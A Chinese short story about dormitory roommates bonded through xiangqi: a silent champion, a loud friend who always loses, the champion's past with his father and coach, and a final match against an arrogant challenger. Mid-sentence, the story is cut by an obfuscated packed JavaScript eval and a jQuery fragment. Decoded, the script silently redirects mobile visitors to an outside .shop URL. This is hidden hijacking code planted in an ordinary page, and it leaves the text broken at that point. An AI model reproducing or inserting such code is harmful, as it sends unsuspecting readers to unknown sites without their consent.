老五在这个寝室里，有三样东西天下第一：脸皮厚、嘴皮子溜、输棋输得稳。
他下棋有个特点——逢下必输，输了不认，嘴比棋硬，越菜越爱玩。一天必须下满三盘棋，少一盘能跟你玩命。这个强迫症严重到什么程度呢？期末考试前一天晚上，室友们都复习到凌晨一点，他抱着棋盘挨个床铺敲门：“来一盘提神醒脑？一盘就行！”
老二把枕头砸过来，老三把拖鞋扔过来，老四直接装死。
只有老大，永远沉默得像一座山的老大，会在被他磨到第十遍的时候，掀开被子，光脚下床，面无表情地坐到桌前。然后把他杀得片甲不留。
说起老大，那是我们寝室绝对的神。往那儿一坐，自带一股让你不敢大声说话的压迫感。他不爱说话到什么程度？有一回辅导员来查寝，跟老大聊了十分钟，老大全程就说了三个字——“嗯”“哦”“好”。辅导员走的时候脸上的表情像刚参加完一场独角戏。
但这位惜字如金的爷，一碰到象棋，整个人就变了。那双眼睛“唰”一下亮了，跟通上电似的，瞳孔里能蹦出火花来。他的宝贝是一副磨得发亮的木质象棋，棋盘破得四个角都磨圆了，楚河汉界那条线都快被磨没了，盒子盖子上还隐隐约约刻着个名字，笔画模糊得看不清。我们谁都不敢碰那副棋。有一回老四手贱想借一颗“车”当橡皮章刻着玩，老大看他一眼，那眼神让老四做了三天噩梦。
老大还有个铁规矩：每天早中晚各下一盘棋，少一盘不行，多一盘不接。时间一到，他把棋盘往桌中间一摆，棋子“啪嗒”一放，往凳子上一坐。那意思就一个：来。
全年级象棋比赛，老大一路横扫。决赛对手是个自封“校园棋王”的学长，被老大杀得冷汗直流，二十分钟不到就拱手认输。从那以后，“棋圣老大”的名号就传开了，天天有人跑来找他挑战，没一个能撑过二十分钟。后来挑战者越来越少，大家都怕被老大杀得怀疑人生。
没人陪老大下棋，他就自己跟自己下。左手黑，右手红，面无表情，自我博弈。我们看着都觉得瘆得慌。
就在老大快要“独孤求败”的时候，老五闪亮登场了。
说实话，老五那会儿刚学会马走日象走田没几天，连“马后炮”都玩不明白。但他有一个别人都没有的东西：勇气。准确地说，是不知道自己几斤几两的勇气。
第一次找老大下棋，是被老二怂恿的。那天晚上卧谈会，老二说：“老五，你不是一天不下棋浑身难受吗？老大一天三盘凑不齐，你俩这不是天作之合吗？”老五当时脑子一热，第二天天还没亮，就从被窝里“噌”一下坐起来，扒着老大的床沿，把声音压得像个孙子：“老大，起不？早盘棋，搞一盘？”
老大翻身，拿后背对着他。
老五不死心，蹲在床边念叨：“老大，你不是一天三盘吗？早上不整，中午晚上凑不齐啊！你那棋盘都快长毛了！”
老大眉头皱了一下。
老五乘胜追击：“老大，我昨天练了一晚上，今天肯定进步！就一盘！”
全寝室都醒了，躲在被窝里偷笑，等着看好戏。老大被我磨得没办法，黑着脸爬起来，洗漱都顾不上，往桌前一坐，摆棋。
老五屁颠屁颠坐过去，手心冒汗。
“你先。”老大说。两个字，算给老五天大面子。
老五深吸一口气，郑重地抬起炮往前一架。昨晚看的教学视频里有一招叫“天地炮”，虽然没搞懂具体怎么走，但名字听着就猛。
老大眼皮都没抬，跟着走了一步。
前五分钟风平浪静。老五甚至觉得自己今天状态神勇，嘴角开始不自觉上扬：“老大，你今天状态不行啊，我这布局，稳了！”
老大没吭声。
第六分钟，他抬起“车”，往老五“马”面前一放。
老五盯着棋盘看了十秒钟，后背的汗就下来了。老五的马前面是车，后面是炮，左边是象，右边是棋盘边沿——死路一条。
“哎哎哎不算！”老五一把抢回我的马，“我刚才没看清！我以为你这个车是路过的！重新来！”
老五话音还没落地，老大修长的手指伸过来，把他抢回去的那颗马捏起来，重新按回刚才那个死路一条的位置。动作轻巧，力道精准，一个字都没多说。
我太熟悉这个动作了。后来五年里，这个动作发生了无数次，它翻译过来就是：少废话，继续。
“老大你这人不讲武德！”老五嘴皮子开始全速运转，“你这步走得太阴了！有本事明着来！搞偷袭算什么好汉！”
老大当他是空气，抬手又走了一步。
第八分钟，老五的老将被他的车马炮围得水泄不通。老五盯着棋盘，脑子里飞速找借口。
“我大意了！”老五一拍桌子，“我刚才在想食堂今天早上有没有肉包子！走神了！不然这盘你赢不了！”
被窝里爆发出狂笑。老二从帘子后面探出头：“老五，你刚才眼珠子都快粘在棋盘上了，还肉包子？你连口水都没咽一下！”
“你们懂个屁！”老五回头瞪他们，“高手对决讲究的是心理战！我刚才是在故意示弱，让老大放松警惕！这是战术！”
“那你倒是赢一回啊！”老四也起哄。
老五正要反击，一只手已经伸过来，开始把棋子归位。是老大。他把黑红两边的棋子一颗颗摆回原位，动作不紧不慢，从头到尾没看老五一眼。那个意思再明显不过：快点，下一盘。
老五喉咙里那堆豪言壮语全卡住了。下一盘。还有下一盘。永远有下一盘。
那天早上，老五跟老大下了三盘。第一盘坚持了八分钟，第二盘九分钟，第三盘创造了个人纪录：整整十分钟！当然，还是输。
第三盘下完，老大起身洗漱，全程沉默，像刚才那三场单方面屠杀从未发生过。老五跟在他屁股后面喋喋不休地复盘：“老大你第三盘第七步那个炮，是不是有点问题？我觉得我当时要是用马去踩你车，你可能就——等等，你那个马是不是早就在旁边等着了？我靠！老大你也太阴了吧！四步之前就挖坑让我跳！”
老大把毛巾搭在肩上，转过身来看着老五。
“早饭。”他说。
然后他走出寝室，背影笔直。老五愣在原地，然后“嗷”一嗓子跳起来：“看见没！老大关心我吃不吃早饭！他离不开我！”
老二从上铺探出头，一脸同情：“他那意思是让你吃饱了好回来继续挨揍。”
“那也是爱！”
从那天起，老五就成了老大的御用输家。
---
日子就这么一天天过。据老二不完全统计，大一上学期，老五跟老大下了三百多盘棋。战绩辉煌：零胜零平，最好成绩是坚持到第十一分钟。
那天晚上卧谈会，老三的声音从上铺飘下来：“老五，说真的，你图啥呢？天天被老大按着打，还上赶着送人头？”
老五躺在床上，双手枕在脑后，盯着天花板：“你们不懂。这叫战术。”
“什么战术？累计输到一定数量能兑换一盘赢？”寝室里一阵哄笑。
老五没理我们。他的目光穿过黑暗，落在老大的床铺上。他安静地躺着，不知道有没有在听。其实他也说不清自己图什么。每次被老大杀得片甲不留，他也郁闷，也想摔棋子，也发誓明天再也不下了。但第二天天一亮，看到老大那张没有表情的脸，看到他默默把棋盘摆好的背影，他的手就痒。好像跟老大下棋这件事，重点已经不是输赢了。
“老大。”老五鬼使神差地开口，“你跟我说句实话，我有没有一点点机会赢你？”
沉默。
就在老五以为他又要用沉默当回答的时候，老大的声音从黑暗中响起来，比平时轻，但字字清晰。
“跟我下一百盘。”
“什么？”
“一百盘。赢我一盘，我回答你一个问题。”
整个寝室安静了三秒钟。然后炸了。
老二直接从床上弹起来，脑袋撞到天花板，顾不上疼在那喊：“卧槽！老大开金口了！”
老三摸黑找纸笔：“开盘开盘！赌老五一百盘内能不能赢一盘！赔率一赔一百！我押不能！”
老四已经开始算日子了：“一天三盘，一百盘就是一个月多一点，能赶上期中考试前——”
“一百盘！”老五一拍床板坐起来，热血直冲脑门，“老大你说话算话！”
黑暗中，我隐约看到老大嘴角动了一下。那个弧度，和老五第一次找他下棋时看到的一模一样。
“算话。”
那一夜老五失眠了。倒不是激动——好吧，就是激动。他脑子里翻来覆去想一件事：如果我真赢了，我要问什么？问他的象棋为什么这么厉害？问他的过去？还是问那个从不让任何人碰的旧棋盘盒盖上，刻着的那个模糊的名字？
老五突然意识到，我跟老大下了三百多盘棋，对他的了解少得可怜。我只知道他叫老大，是我们寝室最高的那个，话少得像哑巴，下棋时眼睛会发光。至于他以前在哪上学、家里有什么人、为什么一天必须下三盘棋、为什么沉默得像一座孤岛——我一无所知。
“等着吧老大。”老五在被窝里握紧拳头，“第一百盘，我非赢不可。”
上铺传来老二幽幽的声音：“你先赢了第一盘再说吧，兄弟。”
第二天一早，老五没等老大起床，自己先爬起来。把棋盘擦得干干净净，棋子摆得整整齐齐，恭恭敬敬放在桌子正中间。老大坐起来的时候，他已经在桌前正襟危坐，眼神坚定得像要去炸碉堡。
“老大，第一盘，来吧。”
老大的目光在老五和棋盘之间扫了一个来回。他什么也没说，坐到他对面，抬手，落子。
那天的第一盘，老五坚持了十二分钟——新纪录。代价是早饭没顾上吃，饿着肚子去上课。但他心甘情愿。因为在楚河汉界的对面，看到了一个不一样的老大。一个愿意用一百盘棋来跟他说话的老大。
这就够了。
---
转折发生在大二下学期。
学校里来了个新生，姓孙。这人狂到什么程度？报到第一天就在学校布告栏贴了张告示，毛笔字写的那叫一个嚣张：本人孙某，自幼学棋，师从业余大师，求校内象棋高手一战。输者请客食堂一个月。
告示贴出来当天，整个男生宿舍都炸了。当天下午就有五个人去找他挑战，全输了。时间最长的一个撑了十八分钟。
消息传到我们寝室，老四第一个坐不住了：“老大，你不去会会他？这人狂得没边了，该你出场了。”
老大坐在桌前，摆弄着棋子，没说话。
我凑过去：“就是啊老大！这小子太嚣张了，不给他点颜色看看，他还以为咱们学校没人呢！”
老大抬眼看了看我，又看了看窗外。过了好一会儿才开口：“明天。”
第二天中午，老大去了。全寝室都跟去观战，我抢在最前面，生怕错过任何细节。
孙棋王在食堂门口等着，二十出头的年纪，瘦高个，戴着一副圆框眼镜，笑容里带着一股子不把人放在眼里的劲儿。
“你就是传说中的‘棋圣老大’？”孙棋王上下打量了老大一番，“听说是你们学校无敌手？巧了，我在我们学校也无敌手。今天终于有个像样的对手了。”
老大没接话，默默坐下，摆好棋盘。我站在老大身后，比他还紧张，手心全是汗。
棋局开始。前十分钟，双方势均力敌。孙棋王确实有两把刷子，落子又快又狠，招招都冲着老大的弱点去。但老大稳如泰山，见招拆招，不落下风。
第十五分钟，孙棋王走了一步怪棋。他把自己最得力的“车”主动送到了老大的“马”嘴边上。这是个陷阱。我虽然菜，这种基础的诱敌战术还是能看出来的。
老大当然也看出来了。他的手抬起来，准备去走另一颗棋子。
就在这时，孙棋王开口了。
“听说你以前在市少年队待过？”他的声音不大，但每个字都清清楚楚，“怎么，后来被人踢出来了？”
老大的手顿住了。
整个食堂安静得掉根针都听得见。老大的脸色变了。我从没见过他露出那样的表情——不是愤怒，不是羞恼，而是一种很复杂的、夹杂着痛苦和不愿回忆的神色。他的手悬在棋盘上方，迟迟没有落下。
“听说你爸当年……”孙棋王还要往下说。
“够了。”老大打断了他。两个字，但语气冷得像冰碴子。
然后他做了一个所有人都不敢相信的决定——他把手收了回来。
“你赢了。”
说完这三个字，老大站起来，转身就走。
我愣了一秒，然后追出去：“老大！老大你等等！你还没输呢！老大！”老大头也不回，大步流星地走了。
身后传来孙棋王的冷笑：“就这？还棋圣呢。”
老五猛地转过身，瞪着孙棋王，拳头攥得嘎嘣响。老四在后面拉住老五：“你冷静，你打不过他，他练过——”
“谁要跟他打架？”老五甩开老四的手，指着孙棋王的鼻子，“姓孙的，你等着。老大不跟你下，我跟你下！”
食堂里安静了一秒。然后爆发出哄堂大笑。
孙棋王笑得最夸张，前仰后合，眼睛都快掉下来了：“你？哈哈哈哈——全校谁不知道你老五是个臭棋篓子？你跟我下？你是来搞笑的吧？”
老五的脸涨得通红，但话已经说出去了，收不回来。
“一个月后，我跟你下。输的人，操场跑十圈，边跑边喊‘我是臭棋篓子’。”
笑声更大了。孙棋王擦了擦笑出来的眼泪：“行行行，你想丢人我成全你。一个月后，不见不散。”
那天晚上，老大没有回寝室。我第一次觉得，我们寝室那张桌子，空荡荡的。
---
老大是凌晨一点回来的。
老五是唯一醒着的人。不是他不想睡，是睡不着。白天的事在脑子里翻来覆去，像一盘怎么也下不完的棋。
老大推门进来的时候没有开灯。借着窗外路灯的微光，我看到他在桌前站了很久，然后慢慢坐下来，把那副宝贝象棋从抽屉里拿出来。他打开盒子，把棋子一颗一颗摆在棋盘上，动作很轻，生怕吵醒别人。然后他就坐在那里，看着棋盘发呆。
老五悄悄从床上爬起来，走到他身边。
“老大。”
他抬起头，眼神里有老五没见过的疲惫。我拉了把椅子在他对面坐下。沉默了好久，我说：“那个姓孙的说的……是真的吗？”
老大没说话，低头看着棋盘。月光照在那些磨得发亮的棋子上，泛着幽幽的光。老五以为他不会回答了，就像以前无数次那样，用沉默应对一切。但这次不一样。
“十四岁那年，我进了市少年队。”老大的声音从黑暗中传来，比平时更低，更哑，“教练说我是他见过最有天赋的苗子。全市少年赛，我拿了第二。”
老五屏住呼吸。
“第二年，我爸走了。”他停顿了一下，“不辞而别的那种走。走之前，他把这副象棋留给我，盒盖上刻着他名字的最后一个字。他说，等我拿了全省冠军，他就回来。”
老五看向那个破旧的棋盘盒子，那行模糊的刻字在月光下终于能看清了——是个“远”字。
“后来呢？”老五轻声问。
“后来我每天练十个小时。下雨天别人不练我练，大过年的别人回家我练。所有人都觉得我疯了。”他的声音平静得像在说别人的事，“但第二年比赛，我只拿了第五。”
“为什么？”
“因为赛前一天，我收到了他的信。信上说，不用等他了，他有新家了。”
棋盘上的棋子被月光照得发亮，像一排沉默的士兵。
“上了大学，我给自己的规矩是一天三盘。少一盘，我就会想那些不该想的事。多一盘，我就会想起——”他没说完。但我知道他想说什么。多一盘，就会想起那个怎么下也下不完的、关于等待的棋局。
原来老大的规矩，不是自律，是自救。
老五突然明白了很多事。明白了他为什么沉默，为什么下棋时眼睛会发光，为什么每次他耍赖悔棋他都默默接受。他不是在跟老五下棋，他是在跟自己心里那个影子下棋。而老五这个聒噪的、死不认输的、永远在输永远在笑的臭棋篓子，成了他对抗那些沉默的武器。
**有时候，一个人守着一盘残局，不是等着谁来替他下完，而是等着有人敢坐在对面，不怕输。**
老五问：“孙棋王他爸，是不是就是你当年的教练？”
老大沉默了一会儿。“是。教练把希望全放在我身上。我比赛那天手抖输了，教练被市队辞退，再也没碰过象棋。”
原来孙棋王转学过来，是为了这个。
“老大。”老五深吸一口气，“你不能就这么输给孙棋王。”
他抬起头看老五。
“不是因为我跟他打了赌。”老五看着他的眼睛，“是因为你等了这么多年，不是为了在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648807|206845||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这里认输的。”
沉默。长久的沉默。
然后老大笑了。不是那种嘴角微微抽动的、让我们当外星人围观的罕见笑容。是真真切切的、露齿的那种笑。
“你一个臭棋篓子，教训起我来了。”
“那可不！”老五挺起胸膛，“我可是一天三盘连输三百多盘的——等等，你刚才是笑了吗？你刚才真的笑了？！”
老大没有回答，而是把棋盘上的棋子重新摆好。
“来，下一盘。”
“现在？凌晨一点？”
“你不想知道一百盘的时候，你要问的那个问题的答案吗？”
老五愣住了：“可是……我都输了三百多盘了，早过一百盘了……”
“你没赢过。约定是你赢一盘才算。”
“那岂不是我欠你一个问题？”
“是。”老大看着棋盘，嘴角还挂着那个罕见的弧度，“等你哪天赢了，再问我。”
老五咬了咬牙，坐到他对面。
那天晚上，老五和老大在月光下连下了四盘。不对，三盘半——第四盘下到一半的时候，老五在棋盘上趴着睡着了。睡着前，我隐隐约约听到老大说了一句话。
“谢了，老五。”
---
一个月的时间，说长不长，说短不短。
老五跟孙棋王约战的消息传遍了全校。
这一个月，老五白天上课，晚上练棋，周末关在寝室对着棋盘一坐就是一天。老大当他的陪练，每走一步棋都会停下来，用最简短的话告诉他：为什么这么走，陷阱在哪里，下一步要怎么想。
“不是记，是想。”他每次都这么说。
老五花了半个月才明白这句话的意思。象棋不是背棋谱，是对人心的揣摩。每一步棋都是一个选择，而选择背后，是性格、是习惯、是弱点。老大的棋风凌厉、果断，是因为他恨透了犹豫不决。而老五的棋风——如果那也能叫棋风的话——又黏又缠、不死不退，是因为他从来不知道什么叫“认输”。
**有人赢在天分，有人赢在苦练，而老五赢在一件事——死皮赖脸。真正的对手从来不是对面那个人，是你心里那个说“算了”的声音。**
一个月后，约定的那天到了。
下午两点，操场边上围了上百号人。一半是来看孙棋王怎么虐老五的，另一半是来看老五输完跑圈的。
孙棋王已经在等着了，圆框眼镜擦得锃亮，脸上还是那副欠揍的笑容：“哟，老五，真敢来啊？我敬佩你的勇气。赶紧下，下完了好看你跑圈。”
老五没理他，把老大的棋盘从盒子里拿出来，端端正正摆在桌上。这副破旧的棋盘，四个角磨圆了，楚河汉界模糊不清。但我知道，它见过比这场面更大的风浪。老大站在人群里，没有走近，但老五能感觉到他的目光。
“你先。”孙棋王翘着二郎腿，抱着胳膊。
“不。”老五摇摇头，“你先。”
孙棋王愣了一下，嗤笑一声：“给你机会你不要。”他抬手落子。
棋局开始。
前五分钟一切如常，孙棋王攻势凌厉，招招紧逼。老五左支右绌，死守着防线。人群里传出窃窃私语：“哟，老五今天有点不一样？”“别急，等会儿就崩了。”
第十分钟，孙棋王下了一步险棋，把“炮”架到了一个看似绝佳的位置上。但老五等的就是这一步。过去一个月里，老大让我重复最多的，就是这个局面。一模一样的开局，一模一样的陷阱。老五练了不下五百遍，闭着眼睛都知道每一步该怎么走。
老五抬手，走了一步“马”。
孙棋王的笑容僵住了。他的炮处于一个尴尬的位置——进一步被老五的车打，退一步被老五的马踩，左右为难。
“你……”他皱眉头，“你故意的？”
老五没回答。操场上的人声渐渐静了下来。原本等着看老五笑话的人，表情开始变了。
第二十分钟，孙棋王主动放弃了炮。他试图用车和马重新组织进攻，但老五不给他机会。每一步都堵在他最难受的位置上，每一步都踩在他最不希望的节奏里。
第三十分钟，孙棋王额头冒汗了。他的攻势被老五一点一点瓦解，老五的棋子却在不知不觉间渗透到了他的腹地。不是那种摧枯拉朽的进攻，而是一种黏黏糊糊、不死不休的纠缠，像一场漫长的消耗战，比的就是谁先撑不住。
“你不是在跟我下棋。”孙棋王咬着牙说，“你是在磨我。”
老五笑了。
“没错。我这辈子最擅长的，就是磨人。”
第三十五分钟，老五走出了最后一步。
“马后炮。”
老五的马和炮合力，将孙棋王的老将牢牢锁死在死角里。
操场上安静了三秒钟。然后炸了。
“卧槽！！！”
“老五赢了！！！”
“假的吧！！！”
人群围上来，把老五和孙棋王团团围在中间。老二在人群外又蹦又跳，老三把眼镜摘了擦、擦了又摘，老四已经激动得语无伦次地打电话到处报喜。孙棋王坐在那里，盯着棋盘，表情复杂得能拍一部连续剧。
“输了就是输了。”他站起来，声音闷闷的，“我认。”
然后他真的开始跑圈。跑第一圈的时候喊了一声“我是臭棋篓子”，声音小得像蚊子。跑到第五圈的时候声音已经足够全场听见了。跑到第十圈结束，他脸红脖子粗，跑到老五面前停下来，喘着粗气说：“你……你是不是开挂了？”
“没有。”
“那你到底怎么赢的？”
老五回头，看向人群外那个沉默的身影。老大站在那里，嘴角微微上扬。不是那种罕见的、被我们当外星人围观的微笑，而是一种笃定的、欣慰的、带着光亮的笑。
“因为我有一个全世界最好的陪练。”
孙棋王沉默了一会儿，然后转向人群，对着老大的方向喊了一句：“你爸的事——抱歉。”
老大点了点头。
人群渐渐散去。老五坐在棋盘前，看着被磨得发亮的棋子，忽然想起那个月光很好的晚上，老大说“没人下，他陪我”。从那天到今天老五赢了这一盘，中间隔着的不是棋艺，是一个愿意陪你在深夜下棋的人。
---
那天晚上回寝室，卧谈会空前热闹。老二老三老四轮番复盘老五白天的棋局，把老五的每一步都分析得头头是道，越说老五越像当世棋王。老五不说话，只听着，心里清楚得很——在座的各位，才是真正的马后炮。
等他们终于消停下来，老五趴在床上，对着黑暗喊了一句：“老大，今天这盘棋，算不算赢你的那盘？”
沉默。
还是沉默。
然后黑暗中，一个字，轻得像棋子落在棋盘上。
“算。”
老五猛地从床上弹起来：“那我可以问问题了！”
“问。”
老五张了张嘴，忽然发现那些盘旋了大半个大学的问题——你为什么这么厉害？你以前在哪学棋？棋盘上刻的“远”字是谁？——全都不重要了。答案早就在那些深夜的棋局里，在他递给他的每一步棋里。
但老五还是想问一个。
“老大，”他趴回床上，声音放得很轻，“如果有一天我真正赢了你——不是让的那种——你最想跟我说什么？”
沉默了很久。久到老五以为他不会回答了。
“到时候你就知道了。”
“那要是这辈子都赢不了呢？”
“那就下辈子。”
老五笑了，对着天花板笑出声来。老二从上铺扔下来一只袜子：“还让不让人睡觉了！”老三把枕头砸过来，老四直接拉被子盖住头。
老五把袜子扔回去，翻了个身，闭上眼睛。等着明天早上的第一盘棋。反正来日方长，棋盘还在，人也还在。那个问题的答案，早晚有一天，他会亲手赢回来。
---
---一张破旧棋盘，两双不同的手，一个沉默无敌，一个棋瘾超大。
没有霹雳舞，没有吉他，没有演唱会，可我们的青春，照样杀得热火朝天，过得热气腾腾。
后来我才明白，真正的兄弟，就是有人愿意当那个沉默的棋圣，也有人愿意当那个永远输棋的老五，一个愿打，一个愿挨，吵吵闹闹，就是好多年。
而那段天天看着楚河汉界、听着老五嘴炮、看着老大面无表情赢棋的日子，也成了我这辈子，最想回去的快乐时光。